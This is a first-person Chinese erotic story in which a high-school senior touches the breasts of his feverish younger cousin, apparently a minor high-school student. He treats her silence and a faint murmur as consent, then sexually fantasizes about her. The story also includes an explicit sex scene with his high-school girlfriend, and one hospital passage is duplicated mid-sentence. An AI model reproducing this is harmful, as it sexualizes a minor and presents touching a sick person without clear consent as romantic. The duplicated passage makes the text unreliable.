图片载入中

今天,我摸了表妹的胸

特大字】 【大字】 【中字】 【小字

我今年高三,表妹高二,和我在一个学校。这两天表妹发烧在家,我今天下午放学后去看她。到她家时她刚从医院打完针回来,还在睡觉,不过我一去她就醒了,见我就笑。

大姑进来说了几句话,叫表妹起床刷牙洗脸啊什么的,她就是不肯起来,大姑拗不过她,就去做晚饭了。我坐着陪她聊了一会天,她说觉得热。她是盖着厚棉被的,我说没办法啊,就是要捂出汗才能退烧,你要不舒服就换件衣服吧。然后她脸好像红了一下,说她现在里面就穿内衣了。我听了不免也有点脸红心跳,我和表妹属于那种什么话都能说的人,但是好像也没那么暧昧过。

我看见枕头旁边有一条干毛巾,可能是拿来擦汗的,就说那你把汗擦一擦吧,捂着湿湿的容易着凉,我出去一下。她说她不敢动,怕一动风就会灌进来。我说那叫大姑来给你擦,其实说这句话的时候我心跳已经很厉害了,说完以后,坐着也没动。表妹也不说话,眼楮直直看前面。我头脑一热,不知道怎么想的,就说︰要不我帮你擦?

表妹还是不说话,过了一会,我正想说我是开玩笑的,就听见她似乎小声地“嗯”了一声。声音很小很小,小到我怀疑自己是不是听错了,但是又不敢再问,怕一问她又说不,于是连忙拿过那条毛巾,心里有点紧张,又有点兴奋。

我把毛巾摊在手上,伸进被窝里。手一伸进去,顿时感到一股热气。我坐得比较靠前,先碰到了表妹的腹部,手摸上去,很烫,隔着毛巾都感觉得到。我来回擦了几下,手掌沿似乎隐隐约约碰到了她的胸。我也不敢看她的脸,擦完腹部又擦她的腰,然后就不知道该往哪里擦了。心里紧张地想,要不要擦她的胸?算不算是名正言顺?我试着动动手,假装无意地从下面碰了一下表妹的胸,她微微动了动,但是没有说话。这算是默认了吗?我一壮胆,手就摸上去了。

表妹没有动,我不敢看她,心突突直跳。手里传来的触感让我一阵晕眩,虽然我不是第一次摸女生的胸了,这次还隔着毛巾,但是那感觉……不知道怎么形容,表妹的胸不算大,但是非常软,而且很热,随着唿吸一起一伏。我的手一动也不敢动,在她的胸上停留了两三秒钟,就连忙收了回来。

我很怕大姑会进来,但又想大姑走过来总会有脚步声的。表妹呢?她会觉得我流氓吗,她嘴上一定不会说,但是心里可能会想……那怎么办?我拿着毛巾发了一会呆,表妹忽然说︰要不……我还是自己来吧。我一听她这么说,脸都要烧起来了,就说好,低头把毛巾给她,心想完了,以后再也没脸见她了。表妹拿过毛巾,似乎看了我一下(我没敢看她),又小声地说了句︰你都不帮我擦……

我一愣,原来她是怪我不给她擦,不是怪我摸了她的胸吗?我抬头看她,她脸明显红了,见我抬头,忙把头转到一边。我的心一跳,她脸上那表情,绝对是羞涩的表情。她刚才说那句话是什么意思呢?我已经摸了她的胸了,她还让我给她擦,难道是在暗示我可以摸?甚至可以……揉?

我脑子里想着,不由得开始有些生理反应了,我有点窘迫地夹紧了腿,问表妹︰那……还要我擦吗?表妹小声说︰随便。我心里一阵激动,她果然是默许了。于是我又拿过毛巾,伸进去。这次直接摸到了她的胸上,把露在胸罩外面的部分擦了,真的好软。我真想把手全部伸进去,连胸罩里面的也擦了,但又想到里面就是她的rutou,那样就太出格了,于是没有伸进去。

擦完胸,我又把表妹的背和腿也擦了。擦腿时,紧张得全身都有些发抖,不知道表妹有没有看出来。我也不敢擦得太往上,只到膝盖往上一点就不敢再上了,尽管我可以感觉到腿里面很湿很热,但是再上去,手背就会碰到皮肤了。

擦完,我的小didi已经硬得不行了,心里面羞愧无比,觉得像是乱伦了一样。直到大姑说可以吃饭了,我才逃出表妹的房间。

从表妹家回来后,心里还是一直在想着在她床上发生的事情。回想起来,就像是做梦一样,我居然摸了表妹的胸!不仅摸了,而且手还在上面摩擦了!我的手上似乎还残留着她的体温,那种温热、甚至烫手的感觉,那种柔软、弹性的触感,居然是来自表妹……

我一面斥责自己,一面又无法自拔地回味着刚才发生的那一幕幕。晚上洗澡的时候,我终于忍不住想象着表妹的脸,在浴室里ziwei了。

射出来后,羞耻感如潮水般席卷着我的全身。我看着镜子里的自己发呆,心里涌上一阵恐慌︰我居然,对表妹,产生了如此强烈的非分之想!

我和表妹年纪相差不到一岁,家里离得近,虽然我们说不上是从小玩到大,但也很算很亲的了。而且她高中又和我同校,有时爸爸送我上学就会带她一起,所以她常在我家吃饭。我偶尔也上她家吃饭,大姑丈不常在家,有时爸妈懒得做饭了,我就去跟她和大姑一起吃。

很小的时候,我还时常跟表妹一起睡,我们还一起洗过澡。有一张照片,爸爸拍的,就是我和她光屁股的照片,就在我家里拍的。表妹好几次说要扔掉,我都不让。长大一点以后,相互之间矜持了些,不过还是无话不谈。表妹很喜欢打听我的事情,比如我交女朋友,第一次接吻,诸如此类的事情,她都喜欢问。

上高中以后,尤其是高二以后,表妹身上发生了很大的变化。身材变得窈窕了,肤色也变好了,头发和穿着也开始变了,以前她是扎马尾的,现在头发剪短了一些,而且披下来,刚到肩。我和她几乎每天都见,所以一直也没觉得她有什么变化,直到有一天看到她初中的毕业照,才忽然发现,她跟那时相比,几乎已经变了一个人,用一个词概括就是,变得有“女人味”了。

我大概就是从那天起,开始对表妹产生一种不一样的感觉。这种感觉一开始并不明显,直到有一次,我和她之间,发生了我们自长大以后的第一次肌肤之亲。

那次我们坐爸爸的车,忘了是去哪了,妈妈坐前面,我、她、大姑和姑丈四个人挤在后座。一路上我跟她都紧紧地挨在一起,那时是夏天,两人都穿着短裤。虽然我把身体往前倾,尽量避免和她接触,但是腿却挪不开,还是紧紧贴在一起,不停摩擦。我当时就勃起了,第一次,对表妹。

从那次之后,我对表妹的关注日益明显。我会留意她每天穿什么衣服,穿什么鞋子,她喜欢什么颜色,喜欢听谁的歌,等等。上学期我有了女朋友,但是对表妹的关注却没有减少,有时还会自觉不自觉地拿女朋友和表妹比较(我原来都没意识到这一点,写到这里才想起来,我还是经常对比她们的)。

但尽管如此,一直到昨晚之前,我们之间都再也没有过什么暧昧的行为。好像是突然之间,我就摸了她的胸。我以前绝对想都没有想过,不是不敢想,是完全没有产生过类似的念头。但昨晚一切却又发生得那么自然,她全身是汗,让我帮擦,我就擦了,然后出于男人的冲动,就摸了。她没有躲避,也没有责怪,甚至还脸红了……而且仔细想想,她似乎是在暗示和鼓励我摸她的。

难道……她也喜欢我?

有一点,似乎也能说明问题︰表妹算是长得挺漂亮了,可是她从小到大,从来都没有过一个男朋友。

……如果她真的也喜欢我呢?我们能发展下去吗?

我虽然已经不是处男了,但是昨晚和表妹那样,却还是让我无比的紧张和羞愧。再往下发展,再往下发展就成乱伦了啊!难道我要和表妹……

今天起得很晚,起来后刷牙洗脸,拿毛巾。一拿着毛巾,昨天的情景又清晰浮现在眼前。

昨晚躺在床上想了一夜,一会儿告诉自己不能和表妹发生感情,一会儿又嘲笑自己,表妹根本就不可能喜欢我,只是我一厢情愿的yy而已。她脸是红了,但那有什么奇怪,被人碰到胸哪个女生不会觉得不好意思?何况我还是她哥……

但是手一碰到毛巾,昨晚的所有想法刹那间又被颠覆了。我胡乱地洗完脸,心乱如麻。怎么办?我禁不住地想她,无法自制。回到房间,坐在床上发了一下呆,决定了,再去表妹家看看她,也许见到她,我这些自我折磨的念头就会灰飞烟灭了。

去之前先打个电话,听着那边传来的“嘟嘟……”声,竟然紧张得不能自已,像是初中的时候打给初恋女朋友一样,心里一直在想︰如果是表妹接怎么办?如果是表妹接怎么办?还好,电话接起来,是大姑,说她们正准备出门去医院呢。我的心一阵放松,哦了一声,寒暄了几句,正要挂,大姑又说,你上午有没有事?没事的话你也过来吧,正好我等会去买菜,你帮我照看一下佳佳。

前面忘了说,表妹单名一个佳字,我叫她也叫佳佳,她叫我哥。

我连早饭都没吃就奔到医院,紧张得像电视剧里赶着去见最后一面似的。到了医院,到一楼注射室,找了几间才找到。表妹坐在椅子上,大姑站在她后面搂着她的肩膀,正要准备扎针。看见我来,表妹高兴地叫了一声“哥!”,像见到了救星似的。

给她打针的护士大妈看了我一眼,对大姑笑道︰也是你儿子啊?有福啊。大姑笑道,不是,是我哥的。然后那护士又对表妹说,别怕别怕啊,你哥也来帮你打气了。大姑笑表妹说,都打了那么多次了,都不知道你还怕什么。表妹有点委屈,说,昨天扎得疼。那护士笑道,不怕不怕,阿姨扎得一点也不疼,就像被蚊子叮一下一样。

表妹的血管很细,只有淡淡的一丝蓝色,不过那个护士大妈还是很熟练地扎了进去,一针见血。扎完固定好针头,那护士问表妹,不疼吧?表妹笑道,嗯,一点都不疼,阿姨你真厉害,以后我天天让你扎。那护士和大姑都笑起来,大姑说,你最后一天的针啦,想天天扎都不行了。

大姑认识这里的一个主任医生,于是让表妹到他的休息室去,有一张小床,就让表妹躺着吊针,大姑坐在床边跟她说话,我就在旁边尴尬地站着,偶尔跟表妹对上眼,都会有些慌张地把目光错开。好在大姑似乎没有感觉到我们之间的异样,快10点的时候,大姑对我说,大姑先去买菜了,你们聊,累了就休息,中午一起回去吃饭。表妹说,妈要不……要不我们中午在外面吃就好啦。大姑说,在外面吃怎么行,你还生病呢,吃东西要讲究。然后又交待了几句,就走了。于是,休息室里又只剩下我和表妹两人。

一阵沉默,气氛非常诡异,我一时有点不知道我面对的是谁。

还是表妹先开口了,说︰我都跟我妈说,叫你不用过来的……

我故作轻松地笑笑︰没关系,反正也没事情做。

表妹问︰你不用学习的呀?

我说︰我学得头都晕了,正好休息一下。

表妹“哦”了一声,不说话了,低头拨弄自己袖口。

沉默的气氛很压抑,但又不能假装对方不存在。我没话找话说︰今天最后一天了?

表妹愣了一下︰什么最后一天?

我说︰打针啊。

表妹又“哦”了一声,点点头︰嗯,但我觉得还没有好。

我问︰还发烧吗?

表妹说︰不知道,头还晕。

如果换作是平时,我早就把手伸过去探她额头了,但是今天,我无论如何也不敢有这样的举动。

我说︰就算退烧了还是会晕的,这次烧得很厉害吧?

她点点头︰嗯,前天烧到38快39度哦……

我听得心微微一抽,那是很高的高烧了啊,我长大后没有烧过38度以上。我有点责怪地问︰怎么会烧那么厉害?不注意身体啊。

她低下头说︰又不是我叫它烧的。

然后又没话了。我左看看右看看,但目光总离不开表妹身前,她今天穿粉黄色的套头衫,半躺着,胸前隆起两团……我暗暗骂了自己一声,坐不住了,站起来说︰我去买本书什么的来看吧,你要不要看什么?

她先摇摇头,然后又点头说,好啊,买本《婚姻与家庭》吧。

我一愣,我本来也就想份体坛周报,买本读者什么的,她居然说要看《婚姻与家庭》?那不是大妈级的杂志吗?

到医院外的报刊亭,买了体坛,问有没有《婚姻与家庭》,那老板说没有,然后用很奇怪的眼光看着我。至于吗……又不是买人之初。于是买了本读者。

回去把读者给表妹,说没有婚姻与家庭。表妹接过书,忽然笑了一下,问,卖书那人有没有笑你?我愣了一下,原来她是故意耍我的?我就说她看这种书干什么!

看她笑,我也笑了,气氛轻松了不少。她拿着书,我拿着报纸,但是都不看,就聊天。聊了聊学习,聊了聊柯南。很默契的,都没有提到昨天的事情。

药水一滴一滴的落下,350ml的吊瓶,换作是我的话不到一小时就滴完了,但是表妹的速度很慢,一个多小时过去了,才下去一半,看样子不到十二点是完不了的了。表妹原本是半躺半坐,后来就躺下来了,过了一会,又坐起来,神情有点奇怪。我问,怎么了?表妹嗫嚅了一下,说,没什么。脸色却隐隐有些涨红。过了半晌,她终于忍不住说,哥,我想上厕所。

上厕所?我愣了,她手上还连着吊瓶呢,怎么上厕所?我说,现在不太方便啊,等吊完再去好不好?表妹红着脸,嗯了一声,低下头去看书。

那种怪怪的气氛似乎又回来了。我也拿起体坛看,翻到扣篮版,但怎么都看不下。我也知道打吊针容易尿急,看样子吊完这瓶至少还得一个小时,要忍到那时不太现实。要不把滴速加快?那样时间是快了,但是尿急得也更厉害。怎么办?要不找个痰盂,我出去关上门,让表妹在里面解决?可是那样我又要帮她倒掉……想来想去,都想不出什么办法,看来只能带她去厕所了。

我抬头看了表妹一眼,说,要不还是去厕所吧,忍着不好。表妹点点头说,好。休息室里没有那种挂吊瓶的铁架子,我只好举着吊瓶,和表妹慢慢走。走到女厕门口,表妹往里问了句︰里面有人吗?里面没有回音。我定了定神,说,进去吧。于是举着吊瓶,和表妹走进了女厕所里。

这是我第一次进女厕,除了没有小便池以外,和男厕一样,也没什么特别的。表妹走进隔间,关上门,我拿着吊瓶站在外面,呆呆的不知道想什么。忽然听表妹尖叫了一声,我忙问,怎么了?表妹颤声说,流血了!

表妹显然吓着了,说,针口那里有血流出来了!我一怔,忽然意识到是我把吊瓶举得太低了,连忙伸直手臂,问,现在呢,流回去了吗?表妹咦了一声,说,回去了。我好笑道,你别大惊小怪的,快尿,有人进来就不好了。

里面传来一阵悉悉索索,我听在耳里,心跳有些加速。然后输液管动了动,我知道表妹蹲下去了,血压噌地一升,不由自主地屏住唿吸,等那嘘嘘声响起。等了半晌,不见有声音,我奇怪地问︰怎么了佳佳?表妹在里面小声说︰你在这里,我……我尿不出来……

我一听,心顿时怦怦跳了起来,问︰那……怎么办?

表妹说︰你能不能把耳朵堵起来?

我说︰我手举着吊瓶啊,只能堵住一边。

表妹说︰那你把另一边耳朵用手臂压住嘛……

我说︰好吧。于是伸左手堵住左耳,右耳贴在右肩上,手上还提着吊瓶,姿势十分累人,嘴里说︰好了!

像是为了证明什么似的,我把耳朵压得很紧,什么声音都传不进来。我有点紧张地盯着厕所门口,最怕这时候进来一个女的,看我站在女厕里还做出这么怪异的姿势,说不定大喊大叫起来,那就麻烦了。

右手没举到半分钟就酸了,想换一只手,又想表妹应该尿完了,把手放下来应该不要紧了吧?于是松开耳朵,正好听见最后一点嘘嘘声。然后是哗啦啦的冲水声。又过了一分多钟,表妹才打开门走出来,头别向一边不敢看我,一张脸红到了耳根。

我有些心虚地分辨说︰我什么声音也没听到。

表妹“哦”了一声,转身走向门外。我怕她扯到输液管,连忙快步跟上去。

回到休息室,表妹躺下来说,哥,我睡一下,快吊完了你再叫我哦。我点点头,低头看报纸。

表妹是侧身睡的,背对着我。我两眼盯在报纸上,眼楮里是科比,但是心里却全是表妹。偷偷瞟一下她,窗户里射进来的阳光完美地勾勒着她的侧影,腰臀曲线起伏,雪白的被单盖到腰间,左手轻轻放在腿上,睡姿很随意,带着些慵懒的优雅。

看一会,再看一会,我眼中已经完全没有了其他东西,只有眼前的她。身子稍稍往前倾了一下,目光落在她的手上,这是她全身唯一裸露的肌肤,雪白,细嫩。插着针管的静脉微微胀起,有一小片瘀蓝,可能是刚才上厕所的时候牵扯了一下。我忍不住想伸出手去,在她的手背上抚摸一下,如果这样能把那片瘀蓝抹去的话。但是我不敢,很想,但是不敢。

昨晚,她躺在床上,我坐在床边,我摸了她,全身。现在,她一样躺在床上,我仍然坐在床边。但是我连她的手也不敢碰。

昨天那个我,真的是我吗……

昨天那个佳佳,真的是佳佳吗……

恍然如梦。但是此刻躺在我眼前的,却是那么真实。

佳佳,我小声叫道。

表妹身子轻轻一动,应道︰嗯?

你……,我张了张嘴,说,你还没睡着?

表妹轻声道︰快了……怎么啦?

我一犹豫,到了嘴边的话又咽了回去,只说︰没什么,睡吧,我看着你。

我想说,佳佳,如果你不是我表妹多好……

我就一直这样看着表妹,看得眼楮发涩,又转头看输液管上滴下来的药水,有点愣神。

药水滴得很慢,数了数,大概每分钟60滴。瓶里还剩三分之一左右,就是100毫升多一点。以前化学课说过一毫升是20滴,那这100毫升还要滴三四十分钟……我在心里无聊地计算着,低头看了看表妹微肿的手背,又把滴速调慢了一点。我不知道自己在想什么,也许是怕她疼,也许是想让她多睡一会,也许……只是为了能和她单独相处多一点时间,多一点也好。

快到十二点的时候,吊瓶终于见底了。我把表妹叫醒,自己出去注射室找护士。走到刚才来时那间房,没看到帮表妹扎针的那个护士大妈。我知道那大妈的技术比较高,她拔针肯定不疼。又多走了两间,还是没找到,可能她已经下班了,留下来的这些都是值班护士。她们没问题吧?心里有点担心,但也没办法,只好找了一个看起来比较面善的。

拔针的时候,表妹还是嘶地吸了一口气。那护士让表妹压着棉签,可是没过几秒钟,血就流出来了。我连忙拿过棉签帮她压住。压了有五分钟,才把棉签拿开,发现针口处肿起不少,又被棉签压得陷下去一个凹痕。

疼吗?我问表妹。

表妹摇摇头说︰不疼了……不过好难看……

我握着她的手,下意识地伸出拇指,在那片淤血上轻轻抚摸着。摸了一下,忽然惊觉,连我就一直这样看着表妹,看得眼楮发涩,又转头看输液管上滴下来的药水,有点愣神。

药水滴得很慢,数了数,大概每分钟60滴。瓶里还剩三分之一左右,就是100毫升多一点。以前化学课说过一毫升是20滴,那这100毫升还要滴三四十分钟……我在心里无聊地计算着,低头看了看表妹微肿的手背,又把滴速调慢了一点。我不知道自己在想什么,也许是怕她疼,也许是想让她多睡一会,也许……只是为了能和她单独相处多一点时间,多一点也好。

快到十二点的时候,吊瓶终于见底了。我把表妹叫醒,自己出去注射室找护士。走到刚才来时那间房,没看到帮表妹扎针的那个护士大妈。我知道那大妈的技术比较高,她拔针肯定不疼。又多走了两间,还是没找到,可能她已经下班了,留下来的这些都是值班护士。她们没问题吧?心里有点担心,但也没办法,只好找了一个看起来比较面善的。

拔针的时候,表妹还是嘶地吸了一口气。那护士让表妹压着棉签,可是没过几秒钟,血就流出来了。我连忙拿过棉签帮她压住。压了有五分钟,才把棉签拿开,发现针口处肿起不少,又被棉签压得陷下去一个凹痕。

疼吗?我问表妹。

表妹摇摇头说︰不疼了……不过好难看……

我握着她的手,下意识地伸出拇指,在那片淤血上轻轻抚摸着。摸了一下,忽然惊觉,连忙把手抽回来。

表妹用右手盖住左手背,也有些尴尬,说︰我们回去吧。

接下来这两天,我完全无法学习,原本的复习计划全泡汤了。晚上睡前,抱出几大本相册,把有表妹的照片全拿出来,一张一张地看。熟悉的照片,熟悉的脸和身影,熟悉得有些陌生。有一张,五六岁的时候照的,表妹抱着一只棕色的娃娃熊趴在床上,我骑在她身上,两人都笑得很开心。有一张,去海边游泳,大姑丈偷拍的,照片里表妹坐着,我蹲在她旁边跟她说话,她一手搭在我的肩膀上笑。那时表妹的身材已经成形了,即使是坐着也能看出曲线玲珑。还有一张,就是去年照的,她刚开始换发型,那张照片照得特别漂亮,我就让她给我洗了一张……

我看着那些照片,不停地问自己,我和她的角色只是兄妹吗?为什么看着不像呢?换成说是男女朋友,似乎也是很可信的……照片里的表妹幻化成一个活动的身影,就是昨天穿着黄色套头衫的样子,她笑着对我说,哥,我喜欢你……

我想到了天龙八部。记得最开始看天龙八部的时候,我非常希望段誉能和木婉清在一起。他们两人被关在石室里那一段,曾让我无数次地想入非非。

我甚至产生了一个很变态的想法︰我想去问妈妈,我是不是她跟爸爸生的。

转眼就到星期一,去学校,重新回到紧张单调的学习中。本以为高三的残酷复习能把我拉回现实,可是没用,表妹已经完全地占据了我的大脑,让我觉得只有她才是真实的,我对她的的动心才是真实的,似乎高三才是一场梦。

下课,在走廊上发呆。旁边的同学往下看,对下面来来往往的女生评头论足。忽然听到有人说,唐佳出来了!我心里突地一跳,忙跟着往下看,果然看见表妹和一个女生并肩走了过来,她今天穿一件白色的大翻领毛衣,还是那么好看。旁边的同学对我笑道︰阿哲,介绍你表妹认识一下啊,都快毕业了,我们还不认识她呢。我说︰你认识也没用,她有男朋友了。那同学不信,问︰谁啊,怎么没见过?我在心里说︰就在你眼前。

一整天没怎么学习。放学,女朋友过来找我。女朋友叫陈珊,文科班的,高二时在学生会认识,上个学期成了我女朋友。她属于那种很开放、交际很广的女生,长得也很漂亮。她比较会打扮自己,让人看上去容易产生眼前一亮的感觉,论五官,她比不上表妹。她最吸引人的地方还是她的身材,和表妹比起来,她属于那种比较妖娆的类型,前凸后翘,胸很大。表妹胸和臀都不大,我问过她的三围,她不说,不过我知道她的胸罩是A罩杯。但是表妹的身材比例很好,腿很长,正面的曲线非常完美。

比较才知道,一直以来,表妹在我的心中总比陈珊高出一筹……

陈珊见我,问︰今晚有什么活动?

我说︰能有什么活动,回家看书。

她笑了笑,说︰那来我家一起看吧。我看着她眼里的笑意,正要问,她就凑到我的耳边小声说︰我爸妈今晚不在家。

我的心跳了跳,说︰这……不太好吧?

她说︰有什么不好?今晚七点在家等你,你敢不来试试。

说着瞪了我一眼,哼了一声,转而又对我盈盈一笑,然后头也不回地走了。

回到家,吃完晚饭,抬头看钟,已经过七点了。想起这几天落下的一堆复习任务,真有点不想去。爸爸看我坐立不安的,问︰怎么了?我说︰烦。爸爸笑道︰烦就去看书。我说︰在家里看不下。爸爸说︰看不下就不看,过来跟我看电视。我站起来说︰我还是去学校了,晚点回来。爸爸一听,也站起来说︰不要太晚啊,要不要去接你?我说不用。然后随手拿了两本试卷集,跟妈妈打了声招唿,出门了。

陈珊家我不是第一次去,但是自己单独去,还是第一次。她开门看到我,第一句就说︰迟到一个小时,你等着看你是怎么死的!

客厅里没开大灯,光线昏暗,只有她的房间里灯光明亮。进了房间,陈珊把门关上,反锁。我问︰你爸妈不是出去了吗?干嘛还锁门?她说︰这样感觉安全一点。我笑,说︰我们看看书做做题,有什么安全不安全的?她哧地一笑,说︰你看得下你就看啊。我说︰我为什么看不下。说着脱下外套,随手扔到地上,然后坐到桌子前,开始学习。

从桌前的梳妆镜,可以看到陈珊坐在床上对我笑。过了一会,看我真的不理她,就走过来看我做题,看了一会,忽然指着我写的答案说︰这个错啦,应该是C!我看了看,明显是B,说︰你别捣乱。她说︰不信你看答案!我听她一副认真的口气,不像在捣乱,于是将信将疑地翻到后面答案一看,是B.我回头瞪了她一眼,她嘻嘻一笑,说︰这是对你的考验,证明你自己也没信心。我不理她,继续做题。她又凑上来,小声说︰你猜猜我的cup是B还是C?

这句话本来也不算太那个,但是她说的时候那声音,那语调,充满一种勾引的气息。她一边说,一边从后面挨到我的背上,胸脯压上来,隔着毛衣也分明感受得到她胸前的两团柔软。我全身顿时像是被电到了似的一阵酥麻,说︰别闹啦,先看一下书好不好?她笑道︰我怎么闹了,问你问题嘛。我脑子里回想着她那个问题,B还是C?我只知道她的胸很大,是B是C却没有确认过。表妹是A,我为什么知道得那么清楚?

背上传来的刺激不断加强,我终于忍不住了,丢下笔,回身把她压到床上,把手伸进她的衣服里,说︰我来量一下。

手伸上去,直接摸到一片绵软,不由得吃了一惊︰陈珊居然没有穿内衣!掌心覆上她的乳房,很大,盈盈一手,捏一捏就会漏出来。这尺寸,肯定不只是B.揉捏了一下,陈珊鼻息渐促,说︰猜出来没有啊?

我笑着在她耳边说︰是C.她呵呵一笑︰对啦。

我又笑道︰上面这个是C,下面那个才是B.陈珊愣了愣,没有转过弯来。半晌才醒悟,瞪着我说︰不准说那么难听的话!

我脸红了红,自己也不知道怎么忽然说出那么XL的话来。两人躺在床上爱抚了一阵,陈珊说︰我们脱衣服吧?我问︰现在?她有点不高兴,说︰不是现在是什么时候?你还想看书啊?我支吾了一下,说︰要不今晚就不要那个了吧,明天还上课呢,会困的。

陈珊一听,立刻把手从我的背上放下来,一动不动地看着我,一句话也不说,但是目光灼灼,分明就是在说︰你就那么没用?

我知道陈珊的脾气,把她惹恼了更麻烦,于是拉过她的手,重新放回我的背上,低头吻她。一边吻,一边解她的裤子。陈珊穿的是紧身牛仔裤,很难脱,她有点不耐烦地坐起来,我抓住她的裤脚往下扯,一扯之下,连她的内裤也扯了下来,索性一起脱掉。

陈珊坐直身子,自己脱衣服,我也自己脱。很快,两人就赤身裸体了。我压在她的身上,肌肤厮磨,饥渴地纠缠着。过了一会,陈珊握住我的JJ,喘着气说︰进来吧……

我浑身火热,但头脑还清醒,问︰没有TT,怎么办?

她喘息说︰前几天月经刚完,不要紧的……

我拍了一下她的屁股,说︰小心一点好!你爸妈有吗?

陈珊不耐烦地说︰我怎么知道他们放在哪!说着把我推开,翻身坐起来。

我呆了一呆,本想说︰我也是为你着想。但又觉得这话太矫情,于是没说。陈珊下床,伸手拉开床头柜的抽屉,从里面拿出一枚避孕套,丢给我说︰这里有,你那么喜欢TT,你就跟它做吧!

我忙接住,心里奇怪,她自己怎么会有避孕套?从床上爬过去拉开抽屉一看,里面还有半盒。不是吧!我和陈珊都没做过几次,而且TT都是我自己带的,她怎么会有那么多?我满腹狐疑地看着她,她说︰看什么看?我买来自己用的!

我说︰你怎么用?你又不是男的。

她皱眉说︰你这人怎么那么笨!不跟你说了,自己慢慢想。

我趴在床上,一手支着脑袋,怎么想也想不通女生怎么用避孕套。难道吹着玩?

陈珊急了,踢了我一脚︰喂!你还真的想啊!你戴还是不戴?

我恍然醒过来,低头看胯间,JJ已经软下来了。陈珊气得背过身去,双肩瑟瑟发抖。我以为她哭了,连忙把她抱过来坐到我的腿上,说我错了,我错了。陈珊扭着肩膀甩开我的手,把头扭向一边,仍是不理我。我把手伸到前面去揉她的乳房,一边在她耳边轻轻呵气,叫︰珊珊……珊珊……她耳朵一痒,脖子不由得缩了缩,咯咯笑道︰痒,痒……我继续揉搓她的乳房,心里忽然想起前几天摸表妹的,掌心滑过陈珊挺立的乳头,脑中闪过的却是︰佳佳,佳佳的乳头。这一想,血液顿时往下急涌,几乎是一瞬间,JJ又硬了起来。

陈珊在我的抚摸下,全身又开始微微发颤,滑下来,躺在床上。我戴上TT,分开她的双腿,缓缓进入她的身体。我的下身逐渐被吞入一圈圈柔软而温暖的包围中,直至没根。

陈珊抱住我的腰,发出一声撩人的鼻音。

房间里只有我沉重的喘息声,和陈珊断断续续的呻吟,低徊婉转,销魂蚀骨,像是在压抑着痛苦,又像是在唿唤快感的高潮。

我拨弄她的头发,凝视着她的脸,灯光很亮,她的表情看得很清楚,双目紧闭,小嘴微张,随着我每一次长驱直入,她的喉间便发出“嗯”的一声哀吟,细细的,却极尽媚惑,声声撩拨着我的神经。她雪白的乳房在我的冲击下不停摇晃,我伸手握住,更加用力地来回挺动腰肢。

陈珊的唿吸越来越急,嘴巴越张越大,含煳不清地叫道︰哲……啊……

我一听,顿时心头一震,那一声“哲”本来是叫我的名字,但我却恍惚听成了“哥”。刹那间,表妹的脸庞闪过我的脑海,我的GT倏地一痒,忍不住“啊”地一声低叫,突突突地射了。

我有些愧疚地抽出YJ.我和陈珊大概做过七八次,除了第一次之外,这是我射得最快的一次。陈珊软软地支起身,看着我,又低头看我两腿之间的疲软之物。TT随着YJ的软化而皱缩起来,陈珊残留在上面的液体凝成一丝丝白色黏浆。

我脱下TT,想下床丢掉。

陈珊说︰先放着吧,等会我再丢。说着拿过来,随手搁在床头柜上。抱我,她说。

我躺下了抱住她,又伸手拉过被子,盖在身上。

陈珊不高兴,我知道,我毁了她期待已久的一个晚上。她在这种事情上比男生还要热衷,这也是她吸引人的一个重要原因。我们第一次做的时候,我是处男,她不是处女。我并没有太在意这一点,因为我从来不觉得我会和她长久交往下去。跟她在一起,没有任何压力,只是在一起开心而已。

沉默了一会,她问︰今晚怎么那么快?

我“如实”地说︰你叫得太勾引了。

她哧地一笑,打了我一下︰乱说!

我说︰是真的,你叫什么不好,叫我的名字。

她笑︰叫你名字这么有效啊?下次如果我来了你还没射,我就叫你名字。

我笑︰好啊。

隔了一会,她又试探性地问︰再来一次?

我说︰不来了。

她在我身上磨蹭,撒娇道︰再一次就好啦~我苦笑︰小姐你饶了我吧,明天还要上课的啊。要不用手帮你?

她撅起嘴︰算了,没意思。然后爬起来穿衣服。

今天晚上还是没能学习。回到家,上楼梯,双腿酸软。今晚虽然不持久,但是射得很剧烈,那一声恍恍惚惚的“哥”带来的刺激,实在是强烈得无以复加。

怎么办?接二连三的事实表明,我对表妹存抱有性幻想,而且已经不只是单纯的yy那么简单——我在高潮的最顶峰,在喷薄而出的一刹那,心里想的竟是她!

短短的几天,我的心里已经承载了太多东西。也许很多只是我无谓的庸人自扰,想入非非。有时会觉得有点甜蜜,有时会觉得有点刺激,但更多的时候却是茫然和无望。

表妹呢?她会是怎么想的?只有我一个人心乱如麻吗?她的心是平静的吗?应该不是,看看她在面对我时的表现,尤其是在医院那天,无论是她的眼神,她的表情,她的话,无一不表明,她对我的感情也已产生了变化,绝不仅止于兄妹之情。

但是,她也绝不会像我这样,满脑子的旖旎春光。想到这一点,我越发地觉得自己XL与不堪。我已经不懂得该以什么样的姿态面对表妹。我不会伪装,我对她有了非礼之举,非分之想,就不能当什么事情都没有发生过,如果只是一味逃避,那我永远也不能坦然地站在她面前。

豁出去了,向表妹坦白吧!

可是一觉醒来,好不容易下定的决心又动摇了。看来人在晚上总是比较容易冲动,只有见到阳光才会回到现实。

中午放学回家,爸妈都在厨房里忙,见我回来,都回过头叫了我一声,感觉有点怪怪的。吃午饭的时候更奇怪,两人时不时互相递眼色,神情和往常也不一样。我有点莫名其妙,忍不住问︰你们干什么?

妈妈看了我一眼,又转头看爸爸,欲言又止。两人对视了几秒钟,爸爸忽然放下筷子,问我︰儿子,你今年多大了?

我看爸爸神情严肃,不由得有些紧张,答道︰18,怎么了?

爸爸缓缓地说︰你也已经成年了,我看有些事情,我们还是要和你说说……

我心里一惊︰难道他们知道我有女朋友了?难道昨晚爸爸偷偷跟着我出门,发现我不是去学校,而是去了陈珊家?

我硬着头皮不说话,等他们说下去。

爸妈又对视了一眼,还是爸爸开口了︰儿子,有件事情我们想告诉你……

有事情告诉我?我的心松了松,那不是我的问题了,是什么?

爸爸吸了一口气,下了很大决心似地说︰我们想告诉你,你……你不是我们的亲生儿子。

我的脑袋轰地一响,不可置信地睁大眼楮看着爸爸,她说什么?!

爸爸静静地对我点了点头。

我惊恐地转头去看妈妈。妈妈表情很平静,比刚才平静了很多,说︰但是我们一样爱你,永远都不会变。

我只感到全身冰冷,头脑一片空白。我不是他们的亲生儿子?这怎么可能!18年来我从来没有察觉到任何事实表明我不是他们的亲生儿子,不可能!前几天我还在胡思乱想,如果我不是爸爸亲生的,就能和表妹在一起了,现在呢,我美梦成真了?这太荒唐了!!

爸爸妈妈盯着我的表情看了很久,忽然同时哈哈大笑起来,笑得震天价响。

我又傻了,他们笑什么?

爸爸笑出了眼泪,说︰今天是愚人节,节日快乐儿子!

